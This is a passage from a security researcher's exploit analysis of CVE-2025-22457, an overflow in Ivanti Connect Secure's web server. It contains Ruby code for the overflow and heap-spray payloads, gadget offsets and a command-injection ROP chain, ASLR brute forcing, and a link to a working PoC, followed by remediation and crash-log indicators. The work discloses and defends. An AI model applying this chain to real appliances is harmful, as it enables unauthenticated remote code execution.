We can see above that we have crashed just after the overflow (location [2] in our pseudo code snippet earlier), during the statement ctx->in_addrD8.s_addr = -1; (location [3] earlier). Of note is the register edx, which is now fully controlled by our overflow (0x36363636, or 6666 in ASCII). We can see from the disassembly in GDB that the value of edx was read from the stack’s base pointer at [ebp+8]. As the function WebRequest::dispatchRequest uses a base pointer-based stack frame (the function’s prologue stores esp in ebp), and the ctx variable is stored on the stack, we can overwrite this variable during the overflow and the overflowed value is the used throughout the function, referenced via [ebp+8]. We can leverage this capability to control the ctx variable, rather than targeting a return address on the stack.

We still have an issue in that we cannot actually address anything useful. As we have already seen, nothing is loaded at an address we can construct a valid pointer for, using the limited character set available to us. While we cannot influence where any shared libraries are loaded, we can influence where data is stored. With this in mind, and given the target process is a 32-bit process, we can leverage a heap spray to place attacker-controlled data at a location we can actually address. This is complicated somewhat by the heap being loaded after the main binary (/home/bin/web) somewhere after the address 0x56000000, so any heap spray will need to place data at an address we can construct a valid pointer for, e.g. 0x39393939 or 0x2e2e2e2e, all of which will have to occur before the main binary. This forces us to perform a large heap spray and consume the entire address space, in order to force the heap allocator to wrap around and start serving allocations at lower addresses, and ultimately at addresses we can construct valid pointers for.

Heap Spraying

Generating a heap spray requires the attacker to force large heap allocations to be made that are both long-lived (i.e., they must not be freed before the exploit completes) and contain attacker-controlled data. By repeating this, the attacker can consume huge amounts of heap memory, and by writing a repeatable pattern of bytes in these allocations, the attacker can guess an address. Due to the heap spray, the location of this address will be mapped and contain the pattern the attacker expects, thus defeating ASLR (for the purpose of a pointer to attacker-controlled data, not for a pointer to a shared object).

We identified the ability to force large long-lived heap allocations via the web server’s IF-T/TLS transport mechanism. Using this mechanism, we can spray around 2.3 GB of data into the target process. After the heap spray has completed, we end up with an attacker-controlled pattern addressable at a low address such as 0x39393939. This lets us overwrite the ctx variable and then control the contents of this data structure. Doing so will let us influence the control flow of the function WebRequest::dispatchRequest, and ultimately let us execute arbitrary code.

We can explore this further: By spraying the following pattern, we can see in GDB how we can construct a valid pointer to address the contents of the spray pattern.

    spray_pattern = [
      0xCAFEF00D, # 0x39393918:
      0xCAFEF01D, # 0x3939391C:
      0xCAFEF02D, # 0x39393920:
      0xCAFEF03D, # 0x39393924:

      0xCAFEF04D, # 0x39393928: 
      0xCAFEF05D, # 0x3939392C:
      0xCAFEF06D, # 0x39393930:
      0xCAFEF07D, # 0x39393934:

      0xCAFEF08D, # 0x39393938:
      0xCAFEF09D, # 0x3939393C:
      0xCAFEF0AD, # 0x39393940:
      0xCAFEF0BD, # 0x39393944:

      0xCAFEF0CD, # 0x39393948:
      0xCAFEF0DD, # 0x3939394C:
      0xCAFEF0ED, # 0x39393950:
      0xCAFEF0FD, # 0x39393954:

      0xCAFEF10D, # 0x39393958:
      0xCAFEF11D, # 0x3939395C:
      0xCAFEF12D, # 0x39393960:
      0xCAFEF13D, # 0x39393964:

      0xCAFEF14D, # 0x39393968:
      0xCAFEF15D, # 0x3939396C:
      0xCAFEF16D, # 0x39393970:
      0xCAFEF17D, # 0x39393974:

      0xCAFEF18D, # 0x39393978:
      0xCAFEF19D, # 0x3939397C:
      0xCAFEF1AD, # 0x39393980:
      0xCAFEF1BD, # 0x39393984:

      0xCAFEF1CD, # 0x39393988:
      0xCAFEF1DD, # 0x3939398C:
      0xCAFEF1ED, # 0x39393990:
      0xCAFEF1FD  # 0x39393994:
    ].pack('V*')

After our heap spray has completed, our pattern will always be addressable at 0x39393918. As we cannot write the byte 0x18 during our overflow due to the character restrictions, we will use the address 0x39393930 to address our pattern, referencing 24 (0x18) bytes into the pattern (0x39393918 + 0x18 == 0x39393930). We therefore trigger the overflow as before, but this time adjusting the overwritten ctx variable to be 0x39393930.

buffer = '1' * 622

buffer += [
  0x31313131, # ebx
  0x32323232, # esi
  0x33333333, # edi
  0x34343434, # ebp
  0x35353535, # eip (but we dont get control here)
  0x39393930  # [ebp+8] -> ctx -> heap spray
].pack('V*')

body  = "GET / HTTP/1.1\r\n"
body << "X-Forwarded-For: #{buffer}\r\n"
body << "\r\n"

# transmit body as a HTTP(S) request...

In GDB, we can inspect the memory at 0x39393930 and confirm it contains the expected data.

(gdb) x/32x 0x39393918
0x39393918:     0xcafef00d      0xcafef01d      0xcafef02d      0xcafef03d
0x39393928:     0xcafef04d      0xcafef05d      0xcafef06d      0xcafef07d
0x39393938:     0xcafef08d      0xcafef09d      0xcafef0ad      0xcafef0bd
0x39393948:     0xcafef0cd      0xcafef0dd      0xcafef0ed      0xcafef0fd
0x39393958:     0xcafef10d      0xcafef11d      0xcafef12d      0xcafef13d
0x39393968:     0xcafef14d      0xcafef15d      0xcafef16d      0xcafef17d
0x39393978:     0xcafef18d      0xcafef19d      0xcafef1ad      0xcafef1bd
0x39393988:     0xcafef1cd      0xcafef1dd      0xcafef1ed      0xcafef1fd
(gdb) x/32x 0x39393918+0x18
0x39393930:     0xcafef06d      0xcafef07d      0xcafef08d      0xcafef09d
0x39393940:     0xcafef0ad      0xcafef0bd      0xcafef0cd      0xcafef0dd
0x39393950:     0xcafef0ed      0xcafef0fd      0xcafef10d      0xcafef11d

Arbitrary EIP Control

We know we can overwrite the ctx variable pointer, and we can leverage a heap spray to point the ctx variable to a spray pattern we control. We also know this pattern can contain arbitrary bytes (i.e. bytes not subject to any character restrictions). However, to execute arbitrary code we will need to gain control of the instruction pointer (eip) using a value from our spray pattern.

Looking at the decompilation of WebRequest::dispatchRequest, we can see that all header values are processed inside a while loop, and a value ctx->max_headers is used to break out of the loop when all the header values are processed. The pseudo code of this is shown below at [4].

    if ( ctx->max_headers > 0 )
    {
      header_index = 0;

      while ( 1 )
      {
        curr_header_value = ctx->header_value_array[header_index];

        // ...snip...
        // process all the headers
        // ...snip...
        
        if ( ctx->max_headers <= ++header_index ) // <--- [4]
          break;
      }
    }
    
    // ...snip...
    
      if ( ctx->cookie_str )
      {
        if ( !processCookieHeader(ctx, ctx->cookie_str) ) // <--- [5]
        {
          // ...snip...

The ctx->max_headers member variable is at offset 0x64 in the ctx structure. If we spray a value of 0x00000000 at location 0x39393930+0x64 (0x39393994) then we can break out of the while loop after the overflow has occurred when processing the X-Forwarded-For header, and before any other headers are processed. If we do not break out of the loop early, it results in a segmentation fault that we cannot avoid.

Further down the function (we have omitted a large portion of irrelevant code from the above pseudo code), we can see a call to processCookieHeader occurs if ctx->cookie_str is not null. The cookie_str member variable is at offset 0xC0 and will be located in the adjacent spray pattern at 0x393939f0 and will not be null, so this check passes and processCookieHeader is called (at [5] above).

Looking at the pseudo code for processCookieHeader below, we can see that a virtual function call happens based on a series of three pointer dereferences originating from the ctx structure.

int __cdecl processCookieHeader(struct_ctx *ctx, char *cookie_str)
{
  dword2C = ctx->dword2C; // <--- [6]
  if ( dword2C )
    (*(void (__cdecl **)(_DWORD))(*(_DWORD *)dword2C + 16))(ctx->dword2C); // <--- [7]

First a pointer is read from offset 0x2C ([6] above). We can control this value via our spray pattern at 0x39393930 + 0x2c (0x3939395C). This pointer is then dereferenced and the resulting value adjusted by +16 (0x10) before itself being dereferenced. The dereferenced value is then used as a function pointer at the call site for [7] above. For clarity, a breakdown of these three dereferences are shown in the below pseudo code.

v1 = ctx->dword2C; // v1 == 0x3939392C
v2 = (*v1) + 16; // v2 == 0x39393928
v3 = *v2; // v3 == 0x41414141
v3(); // eip == 0x41414141

Understanding the above, we can adjust our spray pattern as shown below. We set the ctx->max_headers member variable to be null, and set the ctx->dword2C member variable, which when dereferenced three times, as per [7] above, will give us arbitrary eip control.

    spray_pattern = [
      0xCAFEF00D, # 0x39393918:
      0xCAFEF01D, # 0x3939391C:
      0xCAFEF02D, # 0x39393920:
      0xCAFEF03D, # 0x39393924:

      0x41414141, # 0x39393928: *(*(_DWORD *)dword2C + 16) <--- EIP !!!
      0x39393928 - 0x10, # 0x3939392C: *(_DWORD *)dword2C + 16
      0xCAFEF06D, # 0x39393930:
      0xCAFEF07D, # 0x39393934:

      0xCAFEF08D, # 0x39393938:
      0xCAFEF09D, # 0x3939393C:
      0xCAFEF0AD, # 0x39393940:
      0xCAFEF0BD, # 0x39393944:

      0xCAFEF0CD, # 0x39393948:
      0xCAFEF0DD, # 0x3939394C:
      0xCAFEF0ED, # 0x39393950:
      0xCAFEF0FD, # 0x39393954:

      0xCAFEF10D, # 0x39393958:
      0x3939392C, # 0x3939395C: ctx->dword2C
      0xCAFEF12D, # 0x39393960:
      0xCAFEF13D, # 0x39393964:

      0xCAFEF14D, # 0x39393968:
      0xCAFEF15D, # 0x3939396C:
      0xCAFEF16D, # 0x39393970:
      0xCAFEF17D, # 0x39393974:

      0xCAFEF18D, # 0x39393978:
      0xCAFEF19D, # 0x3939397C:
      0xCAFEF1AD, # 0x39393980:
      0xCAFEF1BD, # 0x39393984:

      0xCAFEF1CD, # 0x39393988:
      0xCAFEF1DD, # 0x3939398C:
      0xCAFEF1ED, # 0x39393990:
      0x00000000  # 0x39393994: ctx->max_headers == 0
    ].pack('V*')

Spraying the above pattern and then triggering the overflow results in a segmentation fault in GDB as follows.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x3939392c       960051500
ecx            0x10     16
edx            0x39393918       960051480
ebx            0x5671d000       1450299392
esp            0xff8b69dc       0xff8b69dc
ebp            0x39393930       0x39393930
esi            0x42424242       1111638594
edi            0xcafef14d       -889261747
eip            0x41414141       0x41414141
eflags         0x210202 [ IF RF ID ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) x/32x 0x39393918
0x39393918:     0xcafef00d      0xcafef01d      0xcafef02d      0xcafef03d
0x39393928:     0x41414141      0x39393918      0xcafef06d      0xcafef07d
0x39393938:     0xcafef08d      0xcafef09d      0xcafef0ad      0xcafef0bd
0x39393948:     0xcafef0cd      0xcafef0dd      0xcafef0ed      0xcafef0fd
0x39393958:     0xcafef10d      0x3939392c      0xcafef12d      0xcafef13d
0x39393968:     0xcafef14d      0xcafef15d      0xcafef16d      0xcafef17d
0x39393978:     0xcafef18d      0xcafef19d      0xcafef1ad      0xcafef1bd
0x39393988:     0xcafef1cd      0xcafef1dd      0xcafef1ed      0x00000000
(gdb)

We now have arbitrary eip control at the location 0x41414141, and this pointer value originated from our spray pattern. We are no longer subject to the character restrictions of the original stack-based buffer overflow and can proceed to leverage a ROP chain to achieve RCE.

We can note that the ebp register, as previously mentioned, will point into our spray pattern at 0x39393930. We will be able to leverage this for the purpose of a stack pivot gadget later.

We can also note that the edi register is 0xcafef14d which originates from our spray pattern. We will be able to leverage this during the ROP chain.

ROP to RCE

Now we have arbitrary eip control, we will build a ROP chain that will achieve RCE. We have a constraint here in that we do not know the base address of any shared object in the process’s address space. In lieu of a suitable info leak, we will aim to brute force this address. As previously mentioned, ASLR will employ 9 bits of entropy, so we expect to guess correctly in around 512 attempts or less. With this in mind we will build our ROP chain consisting of gadgets located in a common shared object. We choose the shared object binary /home/lib/libdsplibs.so to pick gadgets from as this is a large binary so should offer plenty of suitable gadgets. By choosing gadgets from a single shared object, we only need to guess one address correctly (the base address of libdsplibs), as all gadgets within this shared object will be offsets from this common base address, and these offsets can be known in advance.

Working backwards through the chain, we want to end up being able to execute an arbitrary OS command string in order to deliver a payload. We search for function gadgets that may let us call the system function. The function DSSys::isInterfaceEnabled, as shown below, will be suitable for our purpose.

// libdsplibs.so!__ZN5DSSys18isInterfaceEnabledEPKc
int __cdecl DSSys::isInterfaceEnabled(char *param)
{
  int v1; // edi
  char *s; // [esp+0h] [ebp-ACh]
  char command[140]; // [esp+20h] [ebp-8Ch] BYREF

  memset(command, 0, 0x80u);
  sprintf(command, "/sbin/ifconfig %s > /dev/null 2>&1", param);
  if ( system(command) ) {
    // ...snip...

If we can call DSSys::isInterfaceEnabled and pass a pointer to an attacker-controlled string as the first parameter, we can perform a command injection in this function and execute an arbitrary OS command. Given we are injecting our payload into the command string /sbin/ifconfig %s > /dev/null 2>&1, we will pass our payload as the string a; OUR_PAYLOAD_STRING # . This will satisfy the call to /sbin/ifconfig before executing our payload string, and finally commenting out the trailing > /dev/null 2>&1.

Searching for calls to the function DSSys::isInterfaceEnabled, we find this gadget.

.text:0087E31F mov [esp], edi ; param
.text:0087E322 call __ZN5DSSys18isInterfaceEnabledEPKc ; DSSys::isInterfaceEnabled

This will use the edi register as the first parameter to DSSys::isInterfaceEnabled. As we noted in the section above, we can control the edi register value as it originates from our spray pattern. We have seen previously that the edi register is set to 0xcafef14d, this is originating from location 0x39393968 in our spray pattern. To point edi to an arbitrary payload command string, we will set the value at 0x39393968 to point to the end of our spray pattern. We will extend our spray pattern from 128 bytes, to 256 bytes. This allows for an additional 128 contiguous bytes to be used for our payload command. If we do not extend the spray pattern, then we have to smuggle the payload command into the existing 128 byte spray pattern, which is unnecessarily awkward.

As the shared object is compiled with -fPIC, we will need to set the ebx register to the location of the objects .got.plt section (i.e,. the end of the binary’s Global Offset Table). This is required for the call to system to work correctly. The following gadget will pop a value we control (i.e., the address of the .got.plt section) into ebx.

LOAD:00033222 pop ebx
LOAD:00033223 retn

Finally, to kickstart the whole chain, we will need a stack pivot gadget to point esp into our spray pattern. As we know the ebp register will point into our spray pattern, we can use the following stack pivot gadget.

.text:0050C7E6 mov esp, ebp
.text:0050C7E8 pop ebp
.text:0050C7E9 retn

Armed with our three gadgets, we can modify the spray pattern to interleave the ROP chain into the ctx structures data, as shown below.

    shell_cmd  = "a;#{options[:payload]} # "
    shell_cmd += "\x00"
    shell_cmd += 'B' while shell_cmd.length < 128

    spray_pattern = [
      0xCAFEF00D, # 0x39393918:
      0xCAFEF01D, # 0x3939391C:
      0xCAFEF02D, # 0x39393920:
      0xCAFEF03D, # 0x39393924:

      libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: *(*(_DWORD *)dword2C + 16) <--- EIP !!!
      0x39393928 - 0x10, # 0x3939392C: *(_DWORD *)dword2C + 16
      0xCAFEF06D, # 0x39393930:
      libdsplibs_base + target[:gadget_pop_ebx_ret], # 0x39393934:

      libdsplibs_base + target[:offset_to_got_plt], # 0x39393938:
      libdsplibs_base + target[:gadget_call_system], # 0x3939393C:
      0xCAFEF0AD, # 0x39393940:
      0xCAFEF0BD, # 0x39393944:

      0xCAFEF0CD, # 0x39393948:
      0xCAFEF0DD, # 0x3939394C:
      0xCAFEF0ED, # 0x39393950:
      0xCAFEF0FD, # 0x39393954:

      0xCAFEF10D, # 0x39393958:
      0x3939392C, # 0x3939395C: ctx->dword2C
      0xCAFEF12D, # 0x39393960:
      0xCAFEF13D, # 0x39393964:

      0x39393998, # 0x39393968: <--- ptr to shell_cmd, referenced @ edi
      0xCAFEF15D, # 0x3939396C:
      0xCAFEF16D, # 0x39393970:
      0xCAFEF17D, # 0x39393974:

      0xCAFEF18D, # 0x39393978:
      0xCAFEF19D, # 0x3939397C:
      0xCAFEF1AD, # 0x39393980:
      0xCAFEF1BD, # 0x39393984:

      0xCAFEF1CD, # 0x39393988:
      0xCAFEF1DD, # 0x3939398C:
      0xCAFEF1ED, # 0x39393990:
      0x00000000  # 0x39393994: ctx->max_headers == 0
      
      # 0x39393998: shell_cmd @ edi      
    ].pack('V*') + shell_cmd

So long as we guess the base address of libdsplibs correctly, performing the heap spray and then triggering the stack-based buffer overflow will achieve unauthenticated RCE on the target.

Brute forcing ASLR

To brute force ASLR and guess the correct address of libdsplibs we have two potential strategies.

The first is to pick a static and potentially valid base address and repeatedly try this same address over and over. This will work if the /home/bin/web process does not fork for child connections. Every failed attempt will crash the /home/bin/web process, and the process will automatically be restarted. Every new instance of the /home/bin/web process will be subject to ASLR, and the base address of libdsplibs will change each time. Eventually the static address we have chosen will be correct.

The second strategy is to increment the base address upon each attempt, and effectively search over a range of 512 possible addresses. This strategy is better suited if the /home/bin/web process forks, as the forked child will have the same memory layout as the parent. We cannot rely on repeatedly trying a single static base address as we will need to search for the correct address.

In our test setup, the Ivanti Connect Secure virtual appliance did not fork the /home/bin/web process for child requests, so we developed our PoC using the first strategy.

Proof of Concept

The following PoC exploit script implements the exploitation strategy described in this analysis. The PoC has been tested against a vulnerable Ivanti Connect Secure version 22.7r2.4, running as a virtual appliance on a local hypervisor.

https://github.com/sfewer-r7/CVE-2025-22457

An example of the PoC running in our test setup can be seen below. In this example the base address of libdsplibs is being brute forced, and was successful on the 35th attempt.

rce1.png

Future Work

The exploit described in this analysis can be improved in the following ways.

  • A network transport mechanism that supports compression should be used to perform the heap spray. This would avoid the need to transmit large quantities of uncompressed data over the network.
  • An info leak primitive to leak an address within a shared library (ideally libdsplibs, but we can likely build a suitable ROP chain from any shared library) would avoid the need to brute force an address of a shared library when constructing the ROP chain.

Remediation

The following vendor-supplied patches will remediate CVE-2025-22457, per Ivanti’s advisory:

  • Ivanti Connect Secure - 22.7R2.6 (Release on February 11, 2025)
  • Pulse Connect Secure - This product has reached end-of-support (EoS), and Ivanti recommends customers migrate to the latest version of Ivanti Connect Secure.
  • Ivanti Policy Secure - 22.7R1.4 (Scheduled for release on April 21, 2205)
  • ZTA Gateways - 22.8R2.2 (Scheduled for release on April 19, 2205)

Notably, while the patch for Ivanti Connect Secure has been available since February 2025, Ivanti has not yet made patches available for Ivanti Policy Secure, or ZTA Gateways. These are due to receive a fix on April 21 and 19 respectively. Additionally, Pulse Connect Secure is no longer supported, so users must migrate to the latest version of Ivanti Connect Secure.

For more information on patching, please referer to the vendor advisory.

IOCs

To help identify a compromised appliance, the vendor advisory states the following:

Customers should monitor their external ICT and look for web server crashes

Based on our understanding of exploitation, examining an appliance for web server crashes is a useful indication of attempted exploitation. This is due to how the exploit, in lieu of a suitable info leak to break ASLR, must rely upon brute forcing an address of a shared object library in the web server process. Every failed attempt to guess the correct address will result in the web server process crashing, and subsequently restarting. We can see evidence of this as event SYS10306 in the event logs, as shown below. We can note the numerous events of the web server starting in quick succession (around 1 minute intervals in the example below, although this interval will vary depending on how efficiently the attacker is able to perform the heap spray).

logs1.png

References

LinkedInFacebookXBluesky